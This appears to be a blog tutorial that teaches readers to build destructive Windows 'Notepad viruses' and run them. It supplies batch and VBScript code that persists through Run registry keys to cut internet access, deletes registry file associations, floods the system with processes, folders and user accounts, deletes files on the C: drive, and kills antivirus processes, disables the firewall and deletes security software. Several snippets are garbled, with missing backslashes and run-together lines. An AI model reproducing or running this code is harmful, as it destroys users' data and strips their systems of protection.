Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create simple but dangerous Notepad Virus step by step with an explanation!
First of All you must need to know about Virus.
What is Virus?
A computer virus is a type of computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be "infected" with a computer virus.
Read in detail about computer virus here at Wikipedia
Virus are divided into two main categories:-
1- Useful Virus:
These types of Virus helps you to perform any complicated task more faster than manual procedure.
2- Harmful Virus:
These Virus Effect the computer very badly and try to steal, replicate and corrupt the computer User's Data and also try to transfer to other devices when ever connected to infected system.
How to create your own Virus?
Write a dangerous virus in Notepad/Text Editor
Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.
And then save the text file with .bat extension and Run it But DO NOT USE YOUR PERSONAL DAILY USED COMPUTER
Notepad Virus source codes are Given below:
1. Disable Internet Permanently
This code will disable the internet connectivity permanently.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE2. Delete Key Registry Files
This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.
@echo off
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed. You're Mad.
GOTO MESSAGE3. Endless Notepads
This will pop up endless notepads until the computer freezes and crashes and to reset this just shutdown and restart your system again it's only for this virus.
@echo off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top4. Popping CD Drives
This will make the CD drives constantly pop out
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop5. Endless Enter
This will make the enter button pressed continuously and to reset this just shutdown and restart your system again it's only for this virus.
Set wshShell = wscript.CreateObject(”WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop
6. Application Bomber
It will start to open different applications repeatedly which will affect the system’s performance.
You can also add the application of your choice in the above code and to reset this just shutdown and restart your system again it's only for this virus.
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x7.Folder Flooder
This will create unlimited no. of folders. But use a separate folder and inside that folder place the Virus and Run it. To remove all the folders Quickly just write rd instead of md.
@echo off :x md %random% /folder goto x
8.User Account Flooder
This will create large no. of the user account on one’s PC and goes on.
@echo off
:xnet
user %random% /add
goto x
9. Windows Hacker
This will delete your whole C:\ drive and it really unrecoverable
@Echo off
Del C:\ *.* |y10. Anti Virus Disabler
This large code will disable any antivirus installed on the system
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem
Thats all for today!Please leave a comment if you face any problem. Also Like this post and stay connected to get updates about our latest amazing articles.
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